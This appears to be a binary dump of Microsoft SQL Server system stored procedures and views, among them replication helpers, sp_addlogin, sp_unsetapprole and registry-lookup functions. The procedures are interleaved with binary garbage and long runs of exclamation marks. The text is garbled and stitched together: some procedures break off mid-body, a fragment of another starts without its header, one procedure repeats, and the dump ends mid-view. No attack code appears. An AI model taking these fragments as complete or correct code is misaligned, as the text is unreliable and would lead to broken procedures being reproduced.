!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!iZ`?	
<iF*0Ss@ 8--
-- Name: sp_MSreleasesnapshotdeliverysessionlock
--
-- Description: This procedure is used by the distribution/merge agent to
--              release the application lock acquired through 
--              sp_MSacquiresnapshotdeliverysessionlock.
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Notes: i) This procedure should be executed by the distribution/merge agent
--        at the subscription database.
--
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_MSreleasesnapshotdeliverysessionlock
as
begin
    set nocount on
    declare @retcode int
    declare @resource nvarchar(255)
    select @retcode = 0
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    select @resource = N'snapshot_delivery_in_progress_' + 
                       db_name() collate database_default
    exec @retcode = sys.sp_releaseapplock @Resource = @resource,
                                          @LockOwner = 'Session',
                                          @DbPrincipal = N'db_owner'

    if @retcode < 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    select @retcode = 0
FAILURE:
    return @retcode
end
0 f
8
--
-- Name:
--		sp_ORASchemaFilter
--
-- Description:
--		Update the schema filter set used to control those schema
--		whose tables are examined by sp_ORAenumpublishertables (Oracle specific)
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@operation		== operation ('add', 'drop', 'help')
--		@schema			== schema name 
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal stored procedure 
--
--

CREATE PROCEDURE sys.sp_ORASchemaFilter
(
	@publisher		sysname,
	@schema			sysname = NULL,
	@operation		nvarchar(4) = N'help'
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @cmd			nvarchar(400)
	DECLARE	@InsColumnList		nvarchar(200)
	DECLARE	@SelectColumnList	nvarchar(200)

	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

    IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) NOT IN (N'add', N'drop', N'help')
    BEGIN
		RAISERROR (21686, 16, -1, @operation)
       	RETURN (1)
    END

	IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) IN (N'add', N'drop') AND
	   @schema IS NULL
    	BEGIN
		RAISERROR (21689, 16, -1)
        	RETURN (1)
    	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Process add
	IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'add'
        BEGIN
		-- Insert the schema into the HREPL_SchemaFilter table
		INSERT INTO #hquery(cmd) VALUES (N'INSERT INTO HREPL_SchemaFilter VALUES(')
		INSERT INTO #hquery (cmd) VALUES (sys.fn_replquotename(@schema, '''') + N')')

		EXEC @retcode = sys.sp_IHquery @publisher
		IF  (@@error <> 0 OR @retcode <> 0 )
		BEGIN
			RAISERROR (21685, 16, -1, 'add', @publisher)
    			RETURN (1)
		END

		RETURN(0)
	END
		

	-- Process drop
	IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
        BEGIN
		-- Delete the schema from the HREPL_SchemaFilter table
		INSERT INTO #hquery(cmd) VALUES (N'DELETE FROM HREPL_SchemaFilter ')
		INSERT INTO #hquery(cmd) VALUES (N'WHERE SchemaFilter_Name = ')
		INSERT INTO #hquery (cmd) VALUES (sys.fn_replquotename(@schema, ''''))

		EXEC @retcode = sys.sp_IHquery @publisher
		IF  (@@error <> 0 OR @retcode <> 0 )
		BEGIN
			RAISERROR (21685, 16, -1, 'drop', @publisher)
    			RETURN (1)
		END

		RETURN(0)
	END

	-- Process help
	CREATE TABLE #schemafilter
	(
		schemaname		sysname
	)

	--
	-- populate a temp table with the result of a query of HREPL_SchemaFilter
	--
	SELECT @InsColumnList    = 'schemaname'
	SELECT @SelectColumnList = 'SCHEMAFILTER_NAME'

	INSERT INTO #hquery(cmd) VALUES (N'SELECT SCHEMAFILTER_NAME FROM HREPL_SCHEMAFILTER')
	
	EXEC @retcode = sp_ORAremotequery 
					@Server			= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable		= '#schemafilter',
					@InsColumnList		= @InsColumnList

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21685, 16, -1, 'help', @publisher)
		RETURN (1)
	END

	if @schema IS NOT NULL
		SELECT schemaname FROM #schemafilter WHERE schemaname = @schema
	ELSE
		SELECT schemaname FROM #schemafilter

	RETURN (0)
END
0@ 8create procedure sys.sp_MSenumpubreferences (@publication sysname)
as
    declare @pubid uniqueidentifier
    declare @retcode int
    
    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, NULL, NULL, @pubid output
    if @retcode<>0 or @@error<>0
        return 1
        
    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    select distinct ReferencingObject = object_name(referenced_object_id), ArticleObject = object_name(parent_object_id) 
        from sys.foreign_keys
        where parent_object_id in (select objid from dbo.sysmergearticles where pubid = @pubid) and
              referenced_object_id not in (select objid from dbo.sysmergearticles where pubid = @pubid)

    select distinct ReferencedObject = object_name(parent_object_id), ArticleObject = object_name(referenced_object_id) 
        from sys.foreign_keys
        where referenced_object_id in (select objid from dbo.sysmergearticles where pubid = @pubid) and
              parent_object_id not in (select objid from dbo.sysmergearticles where pubid = @pubid)

    -- We need to check if the publication role is already added.
    -- this has to be done here before the snapshot agent calls sp_Mspublicationview
    declare @role sysname
    exec @retcode = sys.sp_MSrepl_FixPALRole @pubid, @role output
    if (@role is NULL or @retcode <> 0 or @@error <> 0)
    begin
        -- add appropriate error message here
        return 1
    end

    -- we also need to fix the pal role for other publications which share an article
    -- with the current publication and the role for those publications are not
    -- present yet
    declare @pubidother uniqueidentifier
    declare pubs_cursor cursor LOCAL FAST_FORWARD
    for (select a.pubid from dbo.sysmergearticles a, dbo.sysmergepublications p
            where a.pubid <> @pubid and a.pubid = p.pubid 
                and LOWER(p.publisher)  collate database_default = LOWER(publishingservername()) collate database_default 
                and p.publisher_db = DB_NAME() and artid in 
                 (select artid from dbo.sysmergearticles where pubid = @pubid)) 
    open pubs_cursor
    fetch pubs_cursor into @pubidother
    while (@@fetch_status <> -1)
    begin
        exec @retcode = sys.sp_MSrepl_FixPALRole @pubidother, @role output
        if (@role is NULL or @retcode <> 0 or @@error <> 0)
        begin
            return 1
        end
        fetch pubs_cursor into @pubidother
    end
    close pubs_cursor
    deallocate pubs_cursor

    --exec sys.sp_MScheck_article_order @pubid
    
	return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!v`o<#JP\0&@ 8CREATE VIEW sys.conversation_groups$ AS
	SELECT conversation_group_id = i.id,
		i.service_id,
		is_system = convert (bit, i.status & 1)
	FROM sys.sysconvgroup i;
0e8 8--
-- Name: fn_replgetinstanceregkey
-- 
-- Description: This functions returns the root of the instance specific reg hive
-- Parameter:   (none)
--
-- Notes: Does not include trailing '\'
--
-- Returns: nvarchar(260)
--
-- Security: Internal
-- 
create function sys.fn_replgetinstanceregkey() returns nvarchar(260)
as
begin 
    declare @instance_name sysname
                ,@instance_id sysname
                ,@retcode int
                ,@regkey nvarchar(260)
    -- get the instance name
    select @instance_name = convert(sysname, SERVERPROPERTY(N'InstanceName'))
    if @instance_name is null
        select @instance_name = N'MSSQLSERVER'
        
    -- map instance name to instance id via the registry
    select @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL'
    exec @retcode = master.dbo.xp_regread N'HKEY_LOCAL_MACHINE', 
        @regkey,
        @instance_name,
        @param = @instance_id OUTPUT,
        @no_output = N'no_output'
        
    if @retcode <> 0 or @@ERROR <> 0
    begin
        return null
    end	
    
    set @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\' + @instance_id
    return @regkey
end
0a) 8
--
-- Name: sp_IHhelparticle
--
-- Description: Retrieve article properties. Invoked by sp_helparticle
--
-- Returns: 1 or 0
--
-- NOTE:
--		RMO flag tells helparticle to report extended
--		HREPL columns (which will be NULL for SQL publishers)
--

create procedure sys.sp_IHhelparticle
(
    @publication    sysname,
    @article        sysname,
    @returnfilter   bit,
    @publisher      sysname,
    @publisher_type sysname,
    @found          int OUTPUT,
    @rmo			bit = 0
)
AS
BEGIN
    DECLARE @retcode        int
    DECLARE @pubid          int
    DECLARE @article_name   sysname
    DECLARE @username       sysname

	CREATE TABLE #ORAtablespaceinfo
	(
		article_id int,
		tablespace sysname
	)

    SET NOCOUNT ON

    SELECT @username = suser_sname(), @found = 0

    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_IHhelparticle')
        RETURN (1)
    END

    /*
    ** Parameter Check:  @publication.
    ** Check to make sure that there are some articles
    ** to display.
    */

    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_IHhelparticle')
        RETURN (1)
    END

    EXECUTE @retcode = dbo.sp_validname @publication

    IF @retcode <> 0
    BEGIN
        RETURN (1)
    END

    /*
    ** Security Check. Restrict to 'sysadmin', PAL
    */
    exec @retcode = sys.sp_MSreplcheck_pull @publication    = @publication,
                                            @given_login    = @username,
                                            @publisher      = @publisher

    IF @retcode <> 0 OR @@error <> 0
    BEGIN
        RETURN (1)
    END

    /*
    ** Parameter Check:  @article.
    ** Check to make sure that the article exists, that it conforms
    ** to the rules for identifiers, and that it isn't NULL.
    */

    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_IHhelparticle')
        RETURN (1)
    END

    -- Verify publication exists
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    IF (@pubid IS NULL)
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END

    -- Verify article exists if specified
    IF @article <> '%'
    BEGIN
        IF NOT EXISTS
        (
            SELECT  *
            FROM    IHarticles
            WHERE   name = @article
              AND   publication_id = @pubid
        )
        BEGIN
            RAISERROR (20027, 11, -1, @article)
            RETURN (1)
        END
    END

	IF (@publisher_type LIKE N'ORACLE%')
	BEGIN
		EXEC sp_ORAhelparticle	@pubid        = @pubid,
								@article      = @article,
								@returnfilter = @returnfilter,
								@publisher    = @publisher,
								@found        = @found OUTPUT,
								@rmo		  = @rmo
	END
	ELSE
	BEGIN
		RAISERROR (21643, 16, -1, '@publisher_type')
		RETURN (1)
	END
    
    RETURN (0)
END
06 
8create procedure sys.sp_MSbrowsesnapshotfolder 
(
    @publisher     sysname,
    @publisher_db  sysname,
    @article_id    int,
    @subscriber    sysname = NULL,
    @subscriber_db sysname = NULL
)
AS
begin
    SET NOCOUNT ON

    DECLARE @alt_directory_type     INT
    DECLARE @directory_type         INT
    DECLARE @publisher_id           INT
    DECLARE @publisher_database_id  INT
    DECLARE @subscriber_id          INT
    DECLARE @snapshot_bit           INT
    DECLARE @snapshot_mask          INT
    DECLARE @xact_seqno             VARBINARY(16)
    DECLARE @sync_init              INT
    DECLARE @sync_done              INT

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    SELECT @alt_directory_type = 25
    SELECT @directory_type = 7
    SELECT @subscriber_id = NULL
    SELECT @snapshot_bit = 0x80000000
    SELECT @snapshot_mask = ~@snapshot_bit
    SELECT @xact_seqno = NULL
    SELECT @sync_init = 37
    SELECT @sync_done = 38

    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers 
     WHERE UPPER(@publisher) = UPPER(srvname)

    SELECT @publisher_database_id = publisher_database_id 
      FROM dbo.MSsubscriptions
     WHERE publisher_id = @publisher_id
       AND publisher_db = @publisher_db
       AND article_id = @article_id  

    -- @subscriber is null implies @subscriber_db is null also because 
    -- this sp can only be called by sp_browsesnapshotfolder
    IF @subscriber IS NULL
    BEGIN
        SELECT @xact_seqno = MAX(xact_seqno) 
          FROM MSrepl_commands
         WHERE publisher_database_id = @publisher_database_id
           AND article_id = @article_id
           AND (type & @snapshot_bit) <> 0            
           AND (type & @snapshot_mask) <> @sync_init
           AND (type & @snapshot_mask) <> @sync_done
    END
    ELSE 
    BEGIN
        -- Both @subscriber and @subscriber_db are non-null
        SELECT @subscriber_id = srvid 
          FROM master.dbo.sysservers
         WHERE UPPER(@subscriber) = UPPER(srvname)
        
        IF @subscriber_id IS NULL
        BEGIN
            RAISERROR(21150, 16, -1)  
            RETURN 1
        END
        
        SELECT @xact_seqno = subscription_seqno 
          FROM dbo.MSsubscriptions
         WHERE publisher_database_id = @publisher_database_id
           AND publisher_id = @publisher_id 
           AND article_id = @article_id
           AND subscriber_id = @subscriber_id
           AND subscriber_db = @subscriber_db

        IF @xact_seqno IS NULL
        BEGIN
            RAISERROR(14055, 16, -1)
            RETURN 1
        END                  
    END

    SELECT 'snapshot_folder' = CONVERT(NVARCHAR(255), command) 
      FROM MSrepl_commands 
     WHERE publisher_database_id = @publisher_database_id
       AND (type & @snapshot_bit) <> 0
       AND xact_seqno = @xact_seqno
       AND (((type & ~@snapshot_bit) = @alt_directory_type) OR
            ((type & ~@snapshot_bit) = @directory_type))
  ORDER BY command_id ASC
    IF @@ERROR <> 0
    BEGIN
        RETURN 1
    END
    ELSE
    BEGIN
        RETURN 0
    END
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
N


>'`Nk<X:!0tľ 8create procedure sys.sp_addlogin
    @loginame		sysname
   ,@passwd         sysname = Null
   ,@defdb          sysname = 'master'      -- UNDONE: DEFAULT CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid			varbinary(16) = Null
   ,@encryptopt		varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @exec_stmt nvarchar(4000)
	declare @hextext varchar(256)
	declare @ret int

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_addlogin')
		return (1)
	end

    -- VALIDATE LOGIN NAME:
	execute @ret = sys.sp_validname @loginame
	if (@ret <> 0)
        return (1)

	set @exec_stmt = 'create login ' + quotename(@loginame)

    if @passwd is null
        select @passwd = ''

	if (@encryptopt is null)
		set @exec_stmt = @exec_stmt + ' with password = ' + quotename(@passwd, '''')
	else
	begin
		declare @passwdbin varbinary(256)
		set @passwdbin = convert(varbinary(256), @passwd)
		execute sys.sp_hexadecimal @passwdbin, @hextext OUT
		set @exec_stmt = @exec_stmt + ' with password = ' + @hextext

		if (@encryptopt = 'skip_encryption_old')
			set @exec_stmt = @exec_stmt + ' hashed '
		else if (@encryptopt = 'skip_encryption')
			set @exec_stmt = @exec_stmt + ' hashed '
		else
		begin
			raiserror(15600,-1,-1,'sys.sp_addlogin')
			return 1
		end
	end
	
    if (@defdb is not null)
		set @exec_stmt = @exec_stmt + ', default_database = ' + quotename(@defdb)

	if (@deflanguage is not null)
		set @exec_stmt = @exec_stmt + ', default_language = ' + quotename(@deflanguage)

	if (@sid is not null)
	begin
		execute sys.sp_hexadecimal @sid, @hextext OUT
		set @exec_stmt = @exec_stmt + ', sid = ' + @hextext
	end

	exec (@exec_stmt)

	if @@error <> 0
		return (1)

    -- RETURN SUCCESS --
	return  (0)	-- sp_addlogin
0 T8create procedure sys.sp_MSdroparticleconstraints (
    @destination_object sysname,
    @destination_owner sysname
    )
as
begin
    set nocount on
    declare @retcode      int,
            @objid        int,
            @constid      int,
            @drop_command nvarchar(4000),
            @qualified_tablename nvarchar(540),
            @publish_bit  int,
            @mergepublish_bit int

    
    select @retcode             = 0,
           @objid               = null,
           @constid             = null,
           @drop_command        = null,
           @qualified_tablename = null,
           @publish_bit         = 1,
           @mergepublish_bit    = 128

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@error<>0
        return 1

    -- Get object id of the target table
    select @objid = object_id 
      from sys.objects
     where name = @destination_object
       and (schema_name(schema_id) = @destination_owner 
            or @destination_owner is null 
            or @destination_owner = N'')

    -- If the object is not at the subscriber, there isn't anything we 
    -- can(or need to)  do
    if @objid is null 
        return 0

    select @qualified_tablename = 
            N'['+replace(@destination_object,N']',N']]')+N']'

    if @destination_owner is not null and @destination_owner<>N''
    begin
        select @qualified_tablename = 
            N'['+replace(@destination_owner,N']',N']]')+N'].'+@qualified_tablename
    end

    -- Skip constraint dropping for republished article
    if exists (select * 
                 from sys.tables 
                where object_id = @objid
                  and ((is_published = 1) or
                       (is_merge_published = 1)))
    begin
        return 0
    end

    declare hConst cursor local fast_forward for
     select constid 
       from sysconstraints 
      where id = @objid
      order by convert(int, objectproperty(constid,'IsForeignKey')) desc
    if @@error<>0
        return 1

    open hConst
    if @@error<>0
        return 1
    
    fetch hConst into @constid 
    while (@@fetch_status<>-1)
    begin
    
        if objectproperty(@constid,N'IsUniqueCnst') = 1 or
           objectproperty(@constid,N'IsPrimaryKey') = 1 or
           objectproperty(@constid,N'IsCheckCnst') = 1 or
           objectproperty(@constid,N'IsForeignKey') = 1
        begin
            select @drop_command = 
                N'alter table '+@qualified_tablename+' drop constraint '+ QUOTENAME(object_name(@constid))
            exec(@drop_command)
            if @@error <> 0
                return 1
        end
        fetch hConst into @constid        
    end
    close hConst
    deallocate hConst

    return @retcode

end
0 
8create procedure sys.sp_MSsub_check_identity
@lower_bound_id int
as
    declare @retcode int
    declare @cmd nvarchar(1000)
    declare @objid int, @threshhold bigint, @range bigint, @next_seed bigint
    declare    @last_seed bigint, @identity_so_far bigint, @threshold int
    declare @table_name sysname
    declare @qualname nvarchar(517)

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
    RETURN(1)

    -- This proc will be called by distribution agent called repeatedly until
    -- one result returned
    if object_id('MSsub_identity_range') is not NULL
    begin
        while 1 = 1
        begin
            select @objid = null
            select top 1 @objid = objid from MSsub_identity_range where
                objid > @lower_bound_id 
                order by objid ASC
            if @objid is null
                break

            select @lower_bound_id = @objid
            -- Since we don't always clean up the subscriber, Skipping invalid entry.
            if object_name(@objid) is null 
                continue
            if objectproperty(@objid, 'TableHasIdentity') <> 1
                continue

            exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT

            select @range = range, @last_seed = last_seed, @threshold = threshold from 
                MSsub_identity_range where objid=@objid
                
            if @range = 0
                -- First time after initial bcp, always request a new range
                -- return this object
                break
            else
            begin                 

                -- Leave one slot unused. This is to prevent violation of primary key constraint
                -- if the next value is used by a subscriber and the publisher has received it.
                -- It seems the pk constraint will be validated before this check.
                declare @actual_range int
                if @range > 0
                    select @actual_range = @range - 1
                else
                    select @actual_range = @range + 1

                select @identity_so_far = isnull(ident_current(@qualname), ident_seed(@qualname))

                if 100*(@identity_so_far - @last_seed)/@actual_range >= @threshold
                    -- Need new range
                    break
            end

            select @lower_bound_id = @objid
        end
    end
    select @table_name = object_name(@objid)            

    -- Return nothing if @table_name is null, which means no more table needs to be adjust
    select 'objid' = @objid, 'table_name' = @table_name where @objid is not null    
0@ (8
create procedure sys.sp_droppublisher (
    @publisher sysname,         /* publisher server name */
    @type nvarchar (5) = NULL      /* NULL or 'dist' */
        ) AS

    SET NOCOUNT ON
    RAISERROR (21023, 16, -1,'sp_droppublisher')
    RETURN(1)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S0`
{<S	4ټo0,+@ 8create procedure sys.sp_unsetapprole
    @cookie varbinary(8000)        -- cookie 
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_setapprole')
		return (1)
	end

    -- SP MUST BE CALLED AT ADHOC LEVEL --
    if (@@nestlevel > 1)
    begin
        raiserror(15422,-1,-1)
        return (1)
    end

    EXEC %%AppRole().Unset(Cookie = @cookie)
	
    -- RETURN SUCCESS/FAILURE --
    if (@@error <> 0)
        return (1)
    return (0)	-- sp_unsetapprole
03 8 
-- add it
create view sys.dm_pdw_nodes_exec_cached_plans as
select *, convert(int, null) pdw_node_id from sys.dm_exec_cached_plans
0!9@ Y8create procedure sys.sp_disableagentoffload (
    @job_id         VARBINARY(16),
    @offloadserver  sysname = NULL,
    @agent_type     sysname = NULL -- 'distribution' or 'merge', case insensitive
) AS
    SET NOCOUNT ON
    
    RAISERROR(21023, 16, -1, 'sp_disableagentoffload')
    
    RETURN (1)
00 }8create procedure sys.sp_MSIfExistsRemoteLogin
    @remotesrvname sysname,
    @locallgname   sysname,
    @remotelgname  sysname
AS
begin


    if (@locallgname IS NULL)
    begin
     IF EXISTS (SELECT * FROM master.dbo.sysremotelogins srl, master.dbo.sysservers ss
                 WHERE UPPER(ss.srvname collate database_default ) = UPPER(@remotesrvname) AND 
                       srl.remoteserverid = ss.srvid AND 
                       (srl.remoteusername = @remotelgname OR 
                       (srl.remoteusername IS NULL AND srl.sid = 0x2)))
        return (1)
    else
        return (0)
    end

    if exists (SELECT * FROM master.dbo.sysremotelogins srl, master.dbo.sysservers ss 
                                WHERE UPPER(ss.srvname collate database_default ) = UPPER(@remotesrvname) AND 
                                      srl.remoteserverid = ss.srvid AND 
                                      srl.remoteusername = @remotelgname AND 
                                      srl.sid = suser_sid(@locallgname, 0))
        return (1)
    else
        return (0)
end
0 2 8create procedure sys.sp_MSproxylogshippingretentioncleanup 
(
    @agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@monitor_server sysname 
    ,@history_retention_period int
    ,@curdate_utc datetime
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)
    --
    -- should be executed in msdb
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_MSproxylogshippingretentioncleanup', N'msdb')
        return 1
    end
    -- 
    -- process the monitor record in log_shipping_monitor_primary on the monitor server 
    --
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingretentioncleanup'
    begin try
        exec @retcode = @linkcmd 
                @agent_id = @agent_id
                ,@agent_type = @agent_type
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = 0
                ,@history_retention_period = @history_retention_period
                ,@curdate_utc = @curdate_utc
    end try
    begin catch
        select @retcode = 1
    end catch
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
0 6@ 8
--
-- Name: sp_enumcustomresolvers
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_enumcustomresolvers
--    @distributor parameter will be removed in the next version.      
    @distributor     sysname = NULL
    AS
    SET NOCOUNT ON

    declare @distribution_db sysname
    declare @distproc nvarchar(1000)
    declare @retcode int
    declare @regkey nvarchar(260)
    declare @stmt     nvarchar(1000)

    select @retcode = 0
 
    /*
    ** Security Check.
    ** Only the dbo needs to call this procedure
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Get the distributor 
    */
    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @distribdb = @distribution_db OUTPUT
    IF @@error <> 0 OR @retcode <> 0 OR @distributor IS NULL
    BEGIN
        RAISERROR (20036, 16, -1)
        RETURN (1)
    END

    /*
    ** For a local distributor, query the registry directly
    */
            
    if LOWER(@distributor) = LOWER(@@servername) and db_name() = @distribution_db
    begin

       /*We use the temp table because we want to return article_resolver value for 
            dotnet_assembly_name column for the non-dotnet resolvers, to be consistant
            with Yukon. In the underlying table, we just store NULL, since we will return NULL
            for this column in sp_lookupcustomresolver
       */
       create table #business_logic_handlers ( 
            article_resolver        nvarchar(255)   not null, 
            resolver_clsid          nvarchar(50)    not null, 
            is_dotnet_assembly      bit default 0, 
            dotnet_assembly_name    nvarchar(255)   null, 
            dotnet_class_name       nvarchar(255)   null
        )

        insert into #business_logic_handlers
        select * from dbo.MSmerge_articleresolver
        
        if @@ERROR<>0 return (1)        

        --now update the dotnet_assembly_name for non-dotnet resolvers
        update #business_logic_handlers
        set  dotnet_assembly_name = article_resolver
        where is_dotnet_assembly = 0          

        select * from #business_logic_handlers

        drop table #business_logic_handlers
    end
    /* 
    ** Since a downlevel publisher can connect to a remote distributor with a higher
    ** version, it is better to return the resolver list using the RPC as opposed
    ** to reading regkeys directly since they might change from version to version.
    */
    else
    begin
        select @distproc = quotename(RTRIM(@distributor)) + '.' + quotename(RTRIM(@distribution_db)) + '.sys.sp_enumcustomresolvers'
        exec @distproc 
        if @@ERROR<> 0 
            return (1)
    end

    RETURN (0)
@publishertype = 2		
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptinsproccore 
                @artid = @artid
                ,@format = 1
                ,@mode = 1          -- regular scripting mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
D
0!9@ Y8create procedure sys.sp_disableagentoffload (
    @job_id         VARBINARY(16),
    @offloadserver  sysname = NULL,
    @agent_type     sysname = NULL -- 'distribution' or 'merge', case insensitive
) AS
    SET NOCOUNT ON
    
    RAISERROR(21023, 16, -1, 'sp_disableagentoffload')
    
    RETURN (1)
0Aw@ D8 h'(!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	y	`{<_(0
 8
create view sys.spt_tables_view
as
    select
    -- begin (for doing joins)
        object_id       = o.object_id,
        schema_id       = o.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(o.schema_id),
        TABLE_NAME      = o.name,
        TABLE_TYPE      = convert(nvarchar(30),
                            case type
                            when 'U' then
                                case o.is_ms_shipped when 0
                                then N'TABLE' else N'SYSTEM TABLE' end
                            when 'S' then N'SYSTEM TABLE'
                            when 'V' then
                                case o.is_ms_shipped when 0
                                then N'VIEW' else N'SYSTEM VIEW' end
                            when 'SN' then N'SYNONYM'
                            end),
        TABLE_GUID      = convert(uniqueidentifier, null),
        DESCRIPTION     = convert(nvarchar(1), null),
        TABLE_PROPID    = convert(int,null),
